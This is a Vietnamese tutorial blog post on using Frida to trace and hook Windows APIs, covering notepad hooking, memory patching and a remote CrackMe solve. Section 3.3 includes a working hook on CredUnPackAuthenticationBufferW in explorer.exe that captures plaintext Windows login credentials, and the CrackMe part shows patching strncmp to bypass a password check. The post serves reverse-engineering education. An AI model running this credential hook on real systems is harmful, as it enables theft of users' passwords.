Malware

Frida 102: Tracing and Hooking Windows APIs

category
Malware
date
May 17, 2021
slug
frida-102-tracing-and-hooking-windows-api
author
status
Public
tags
frida
malware
summary
Sử dụng Frida để monitor và hook vào các Windows APIs.
type
Post
thumbnail
updatedAt
Mar 1, 2023 08:52 AM

1. Frida hoạt động như thế nào?

Để có thể lấy được các thông tin trong khi một chương trình đang chạy hay thay đổi hành vi của nó thì Frida sử dụng một kỹ thuật gọi là Hooking. Frida cài đặt các hook tại các hàm của chương trình mục tiêu, Hook code sử dụng ngôn ngữ lập trình JavaScript. Để đơn giản thì có thể hiểu như sau: Khi Frida hook vào một hàm, chúng ta giám sát được đầu vào và đầu ra của hàm (tham số truyền vào và giá trị trả về), sửa đổi các giá trị đó hoặc thậm chí là cho hàm đó thực thi code của chúng ta thay vì code gốc,.v.v.. Những việc này đều thực hiện trong lúc chương trình chạy, mọi thay đổi đều diễn ra trên memory mà không làm thay đổi tệp chương trình. Kỹ thuật Hook được ứng dụng trong nhiều tình huống khác nhau, với mục đích tốt có mà xấu cũng có.
Để có thể Hook vào một chương trình, Frida tiến hành Inject một DLL có tên là frida-agent.dll vào bên trong vùng nhớ của chương trình đó khi nó đang chạy. Frida sử dụng các APIs trong dbghelp.dll để tra cứu các Symbols trên Windows, ngoài ra kể từ phiên bản 12.9.8 trở đi Frida đã hỗ trợ việc lookup các Symbol thông qua một Symbol Server. Những cải tiến này đến từ các chuyên gia của DarunGrim Company đã đóng góp cho dự án Frida.
Hình dưới đây mô tả cách Frida có thể lookup các Symbol trên Windows:
Sử dụng Process Explorer trong bộ Sysinternal Suite có thể quan sát được, Frida đã inject frida-agent.dll vào bên trong notepad.exe:
notion image
Trước đó Frida giải nén các tệp cần thiết mà nó sử dụng vào thư mục: %LOCALAPPDATA%\Temp\frida-<random-32-character>\<32|64> ứng với tệp chương trình 32-bits hoặc 64-bits. Cấu trúc trông như sau:
$ tree . ├── 32 │   ├── dbghelp.dll │   ├── frida-agent.dll │   └── symsrv.dll └── 64 ├── dbghelp.dll ├── frida-agent.dll └── symsrv.dll 2 directories, 6 files
Sơ đồ dưới đây mô tả cách mà Frida cài đặt các Hook và nhận thông báo từ các hook đã cài:
Các đối tượng Frida, Session, Script tham gia vào quá trình này để quản lý cài đặt các Hook. Các Hook CallBack Functions được viết bằng JavaScript.

2. Sử dụng Frida cơ bản

2.1. Khởi chạy một chương trình bằng Frida

$ frida C:\Windows\System32\notepad.exe ____ / _ | Frida 14.2.18 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ Spawned `C:\Windows\System32\notepad.exe`. Use %resume to let the main thread start executing! [Local::notepad.exe]->
Lúc này tiến trình notepad.exe là tiến trình con được sinh ra bởi Frida:
notion image
Trong bộ công cụ frida-tools, chúng ta có một chương trình là frida-ps có thể liệt kê tất cả các tiến trình đang chạy trên hệ thống. Có thể sử dụng nó để xác nhận notepad.exe đã được khởi chạy:
$ frida-ps | findstr "notepad" 14340 notepad.exe

2.2. Attach một tiến trình bằng Frida

Để attach một tiến trình bằng Frida, chúng ta phải tìm được PID của tiến trình cần attack sau đó sử dụng tham số -p của Frida:
$ frida-ps | findstr "mspaint" 7800 mspaint.exe
$ frida -p 7800 ____ / _ | Frida 14.2.18 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ [Local::PID::7800]->

2.3. Sử dụng Frida Tracing

frida-trace là một công cụ trong bộ frida-tools. Công cụ này có thể Tracing/Monitor các API được gọi trong một chương trình. Giả sử chúng ta cần monitor hàm MessageBoxWriteFile trong notepad.exe.
$ frida-trace -i "MessageBoxW" -i "WriteFile" C:\Windows\System32\notepad.exe
notion image

3. Hooking Windows APIs bằng Frida

3.1. APIs Monitor với Frida

Có thể sử dụng Frida để hook vào một số hàm nào đó trong một chương trình với mục đích chặn bắt các tham số của hàm, thậm chí là sửa đổi các tham số này (Memory Patching). Trong trường hợp này tôi thử nghiệm hook vào hàm WriteFileMessageBoxW của chương trình notepad.exe. Trước tiên, hãy cùng xem xét các hàm này được định nghĩa như thế nào trong tài liệu MSDN của Microsoft.
BOOL WriteFile( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped );
int MessageBoxW( HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType );
Tham số lpBuffer của hàm WriteFile chính là con trỏ trỏ đến vùng đệm sẽ được ghi vào tệp. Theo thứ tự thì hàm này sẽ là tham số thứ hai. Tham số lpText của hàm MessageBoxW là nội dung sẽ hiển thị trên box, lpCaption là tiêu đề của box khi hiển thị.
Khi Frida hook vào các hàm ta chỉ định trong notepad.exe. Ta thực hiện một số hành động sau:
  • Dump nội dung và in ra màn hình giá trị của lpBuffer trong hàm WriteFile
  • In ra màn hình nội dung của lpTextlpCaption trong hàm MessageBoxW
var messageBox = Module.getExportByName(null, "MessageBoxW"); var writeFile = Module.getExportByName(null, "WriteFile"); Interceptor.attach(messageBox, { onEnter: function(args) { console.log("\nMessageBoxW at: " + messageBox); console.log(" lpText: " + Memory.readUtf16String(args[1])); console.log(" lpCaption: " + Memory.readUtf16String(args[2])); } }); Interceptor.attach(writeFile, { onEnter: function(args) { console.log("\nWriteFile at: " + writeFile); console.log(" Buffer dump:\n" + hexdump(args[1])); console.log(" Buffer via utf16String: " + Memory.readUtf16String(args[1])); } });
Lưu đoạn JavaScript này lại. Tôi đặt là apis_hooking.js. Khởi chạy lại notepad.exe với tham số -l để nạp script vừa viết:
$ frida -l .\hooking\apis_hooking.js C:\Windows\System32\notepad.exe --no-pause
Nhập một nội dung bất kỳ, ở đây tôi nhập chuỗi: "This is fun!", sau đó tiến hành lưu tệp ra ổ cứng và quan sát trong Frida ta được như sau:
WriteFile at: 0x7fff9f8b4fd0 Buffer dump: 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 1e1a2823780 54 00 68 00 69 00 73 00 20 00 69 00 73 00 20 00 T.h.i.s. .i.s. . 1e1a2823790 66 00 75 00 6e 00 21 00 00 00 00 00 00 00 00 00 f.u.n.!......... ... 1e1a2823870 00 00 00 00 00 00 00 00 10 39 82 a2 e1 01 00 00 .........9...... Buffer via utf16String: This is fun!
Tìm kiếm một chuỗi không tồn tại, mục đích để Notepad bắn ra MessageBox:
notion image

3.2. Memory Patching bằng Frida

Frida có một ưu điểm đó là trong lúc đang thực hiện hooking vào notepad.exe chúng ta có thể sửa mã JavaScript mà không cần phải chạy lại Frida, mã chúng ta sửa ngay lập tức được cập nhật. Chúng ta tiến hành sửa đoạn JavaScript trước đó thành như sau:
var messageBox = Module.getExportByName(null, "MessageBoxW"); var writeFile = Module.getExportByName(null, "WriteFile"); var buff = Memory.allocUtf16String("F*ck y0u!!!!!!!") Interceptor.attach(messageBox, { onEnter: function(args) { args[1] = buff args[2] = buff console.log("\nMessageBoxW at: " + messageBox); console.log(" lpText: " + Memory.readUtf16String(args[1])); console.log(" lpCaption: " + Memory.readUtf16String(args[2])); } }); Interceptor.attach(writeFile, { onEnter: function(args) { args[1] = buff console.log("\nWriteFile at: " + writeFile); console.log(" Buffer dump:\n" + hexdump(args[1])); console.log(" Buffer via utf16String: " + Memory.readUtf16String(args[1])); } });
Kết quả sau khi hook hàm MessageBoxW
notion image
Kết quả sau khi hook hàm WriteFile
WriteFile at: 0x7fff9f8b4fd0 Buffer dump: 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 1e1a4376d40 46 00 2a 00 63 00 6b 00 20 00 79 00 30 00 75 00 F.*.c.k. .y.0.u. 1e1a4376d50 21 00 21 00 21 00 21 00 21 00 21 00 21 00 00 00 !.!.!.!.!.!.!... .. 1e1a4376e30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Buffer via utf16String: F*ck y0u!!!!!!!

3.3. Chặn bắt thông tin xác thực trên Windows 10

Sử dụng Frida để chặn bắt thông tin xác thực người dùng. Đầu tiên hãy kiểm tra PID của tiến trình explorer. Chúng ta cần kiểm tra tiến trình này là vì thông thường khi chạy một chương trình thì nó là tiến trình con của explorer.
$ frida-ps | findstr "explorer" 20128 explorer.exe
Sử dụng Frida-Trace để theo dõi các API được gọi đến trong quá trình xử lý dữ liệu xác thực từ người dùng. Tôi sử dụng tham số -i "*Cred*" để lọc các API chứa chuỗi Cred, -x "CredFree" sẽ không theo dõi hàm CredFree().
$ frida-trace -i "*Cred*" -x "CredFree" -p 20128
Khởi chạy chương trình C:\Windows\System32\notepad.exe với tùy chọn Run as different user
notion image
Lúc này một hộp thoại Windows Security xuất hiện đòi chúng ta nhập thông tin xác thực. Đồng thời ta quan sát trong Frida, hàm CredUIPromptForWindowsCredentialsW() được gọi:
Started tracing 159 functions. Press Ctrl+C to stop. /* TID 0x42c0 */ 90061 ms CredUIPromptForWindowsCredentialsW() 90061 ms | CredUIInternalPromptForWindowsCredentialsW() 90061 ms | | CredUIInternalPromptForWindowsCredentialsWorker()
Nhập đại một vài thông tin nào đó sau đó nhấn OK.
notion image
Quan sát trong Frida ta thấy một số API thú vị sau được gọi:
257149 ms CredUnPackAuthenticationBufferW() 257149 ms CredUnPackAuthenticationBufferW() 257149 ms | CredUnprotectW() 257149 ms | | CredUnprotectEx() 257149 ms | | | CredUnmarshalCredentialW() 257149 ms CredUIParseUserNameW() 257149 ms | CredIsMarshaledCredentialW() 257149 ms | | CredUnmarshalCredentialW() 257150 ms CredUIPromptForWindowsCredentialsW() 257150 ms | CredUIInternalPromptForWindowsCredentialsW() 257150 ms | | CredUIInternalPromptForWindowsCredentialsWorker()
Chúng ta không cần quan tâm đến đoạn: 257150 ms CredUIPromptForWindowsCredentialsW() vì đoạn này lặp lại đoạn trước đó, nó hiển thị hộp thoại Windows Security đòi nhập thông tin xác thực. Hàm cần quan tâm nhiều hơn là CredUnPackAuthenticationBufferW(). Cùng xem định nghĩa của hàm này trên MSDN:
CREDUIAPI BOOL CredUnPackAuthenticationBufferW( DWORD dwFlags, PVOID pAuthBuffer, DWORD cbAuthBuffer, LPWSTR pszUserName, DWORD *pcchMaxUserName, LPWSTR pszDomainName, DWORD *pcchMaxDomainName, LPWSTR pszPassword, DWORD *pcchMaxPassword );
Tham số mà chúng ta cần quan tâm đó là: pszUserNamepszPassword.
var pszUserName, pszPassword, decryptedUsername, decryptedPassword; var credUnPackAuthenticationBufferW = Module.findExportByName("Credui.dll", "CredUnPackAuthenticationBufferW"); Interceptor.attach(credUnPackAuthenticationBufferW, { onEnter: function (args) { // Credentials here are still encrypted pszUserName = args[3]; pszPassword = args[7]; }, onLeave: function (result) { // Credentials are now decrypted decryptedUsername = pszUserName.readUtf16String() decryptedPassword = pszPassword.readUtf16String() if (decryptedUsername && decryptedPassword) { console.log("\n[*] Intercepted Credentials: "); console.log("[+] Username: " + decryptedUsername); console.log("[+] Password: " + decryptedPassword); } } });
Dùng Frida hook vào Explorer:
$ frida-ps | findstr "explorer" 6724 explorer.exe $ frida -l .\hooking\credential_theft.js -p 6724
Làm tương tự các bước như trên để nhập usernamepassword. Sau đó quan sát trên Frida, ta có được thông tin xác thực đã bị chặn bắt:
$ frida -l .\hooking\credential_theft.js -p 6724 [Local::PID::6724]-> [*] Intercepted Credentials: [+] Username: %COMPUTERNAME%\Alice [+] Password: this_1s_s3cret_passw0rd

3.4. Remote Debugging/Hooking với Frida

Ở các phần trước chúng ta đã thực hành Tracing, Patching với Frida, tuy nhiên những gì chúng ta làm chỉ là trên một máy (localhost). Phần này chúng ta sẽ đi giải một CrackMe đơn giản và chương trình CrackMe này sẽ nằm ở một máy tính khác không phải localhost. Để làm được điều này thì máy tính chạy CrackMe kia cần phải chạy Frida-Server, chương trình này sẽ chạy lắng nghe trên một IP:PORT nào đó và đợi kết nối đến. Từ một máy tính khác sử dụng Frida-CLI (Client) để kết nối Server đến thông qua giao thức TCP.
Chương trình CrackMe của chúng ta hoạt động như sau: Nhập mật khẩu sau đó kiểm tra nếu đúng thì in ra Congrats! còn nếu sai thì in ra Try again.
$ crackme-101.exe Enter Password: 123456 Try again.
Đầu tiên hãy tải Frida Server ứng với phiên bản Hệ điều hành đang sử dụng tại: https://github.com/frida/frida/releases. Tôi sử dụng Windows 10 64-bits nên tôi tải file: frida-server-<version>-windows-x86_64.exe.xz. Sau đó khởi chạy Frida-Server trên máy chạy CrackMe: Tham số -l chỉ ra địa chỉ ip muốn lắng nghe, có thể lắng nghe trên một interface cụ thể của máy hoặc tất cả các interface:
$ frida-server.exe -l 0.0.0.0
Kiểm tra lại và đảm bảo rằng Frida-Server chắc chẵn đã chạy, nếu có bật tường lửa thì cần cho phép kết nối thông qua Port 27042 vì đây là Port mặc định của Frida-Server:
$ netstat -ano | findstr :27042 TCP 0.0.0.0:27042 0.0.0.0:0 LISTENING 312
$ tasklist /fi "pid eq 312" Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== ============ frida-server.exe 312 RDP-Tcp#5 2 7,976 K
Kiểm tra chương trình bằng bất kỳ một công cụ nào như: CFF Explorer, PE-Studio, PE-Bear,.v.v.. chúng ta đều có thể thấy chương trình này có Import một hàm strncmp(). Chúng ta sẽ hook hàm này. Trên một máy tính khác (Client) có cài bộ công cụ Frida-Tools. Trước tiên chúng ta thực hiện như sau, để xác nhận rằng chương trình CrackMe có gọi đến hàm strncmp(). Trong đó 192.168.40.98 là địa chỉ máy từ xa, còn C:\Users\Admin\Desktop\Sample\crackme-101.exe là đường dẫn chương trình muốn chạy.
$ frida-trace -i "strncmp" -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe
Tại máy từ xa lúc này khi kiểm tra bằng Process Explorer chúng ta sẽ thấy CrackMe được Run bởi Frida-Server
notion image
Trên Console của Frida-Server, nhập mật khẩu sau đó quan sát kết quả:
notion image
Quay lại phía client chúng ta thấy hàm strncmp() đã được gọi
$ frida-trace -i "strncmp" -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe Instrumenting... ... Started tracing 3 functions. Press Ctrl+C to stop. /* TID 0x2230 */ 435830 ms strncmp() Process terminated
Tiến hành viết Script hook vào hàm strncmp(): Xem định định nghĩa hàm này tại: https://www.cplusplus.com/reference/cstring/strncmp/
var strncmp = Module.findExportByName("msvcrt.dll", "strncmp"); Interceptor.attach(strncmp, { onEnter: function(args) { console.log("\nstrncmp at: " + strncmp); console.log(" str1: " + Memory.readUtf8String(args[0])); console.log(" str2: " + Memory.readUtf8String(args[1])); console.log(" num: " + args[2]); } });
Trên máy client chạy lại lần 1 và trên máy từ xa nhập mật khẩu là 123456 và quan sát kết quả:
$ frida -l .\hooking\apis_hooking_remote.js -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe --no-pause ... [Remote::crackme-101.exe]-> strncmp at: 0x76adac30 str1: z8dye:Vq9{V:gJ{py}( str2: 8;:=<?♥ num: 0x14 Process terminated
Trên máy client chạy lại lần 2 và trên máy từ xa nhập mật khẩu là abc123 và quan sát kết quả:
[Remote::crackme-101.exe]-> strncmp at: 0x76adac30 str1: z8dye:Vq9{V:gJ{py}( str2: hkj8;:♥ num: 0x14 Process terminated
Nhận thấy chuỗi str1 sau các lần chạy đều không thay đổi, chỉ có dữ liệu nhập tức str2 là thay đổi, như vậy khả năng dữ liệu nhập của chúng ta phải đi qua một hàm mã hóa nào đó, cuối cùng kết quả mới đem so sánh với chuỗi str1z8dye:Vq9{V:gJ{py}(. Lúc này cần một chút kiến thức về Static Code Analysis, sau khi phân tích biết được hàm mã hóa sử dụng phép XOR để mã hóa. Nhận thấy đặc điểm của phép XOR gồm 3 toán hạng và nếu đem bất kỳ 2 toán hạng nào trong đó XOR với nhau thì sẽ ra toán hạng còn lại. Như vậy nếu chúng ta nhập chuỗi str1 của chương trình thì chuỗi str2 sẽ là mật khẩu cần tìm. Trên máy Remote thực hiện:
... Enter Password: z8dye:Vq9{V:gJ{py}( Try again.
Tại máy client quan sát được:
[Remote::crackme-101.exe]-> strncmp at: 0x76adac30 str1: z8dye:Vq9{V:gJ{py}( str2: s1mpl3_x0r_3nCrypt! num: 0x14 Process terminated
Sử dụng Password tìm được là chuỗi str2, để kiểm tra. Kết quả chương trình hiện ra Congrats!
... Enter Password: s1mpl3_x0r_3nCrypt! Congrats!
Khi đó trên máy Client quan sát ta sẽ thấy được:
[Remote::crackme-101.exe]-> strncmp at: 0x76adac30 str1: z8dye:Vq9{V:gJ{py}( str2: z8dye:Vq9{V:gJ{py}( num: 0x14 Process terminated
Ngoài ra cũng có cách khác để giải quyết CrackMe này đó là Memory Patching, khi hook vào hàm strncmp() chúng ta sẽ làm cho điều kiện trả về là 2 chuỗi luôn luôn bằng nhau.
var strncmp = Module.findExportByName("msvcrt.dll", "strncmp"); Interceptor.attach(strncmp, { onEnter: function(args) { args[1] = args[0] console.log("\nstrncmp at: " + strncmp); console.log(" str1: " + Memory.readUtf8String(args[0])); console.log(" str2: " + Memory.readUtf8String(args[1])); } });
Lúc này chúng ta nhập bất kỳ mật khẩu nào chương trình vẫn in ra chuỗi Congrats!
notion image
$ frida -l .\hooking\apis_hooking_remote.js -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe --no-pause ... Spawned `C:\Users\Admin\Desktop\Sample\crackme-101.exe`. Resuming main thread! [Remote::crackme-101.exe]-> strncmp at: 0x76adac30 str1: z8dye:Vq9{V:gJ{py}( str2: z8dye:Vq9{V:gJ{py}( Process terminated

4. Tham khảo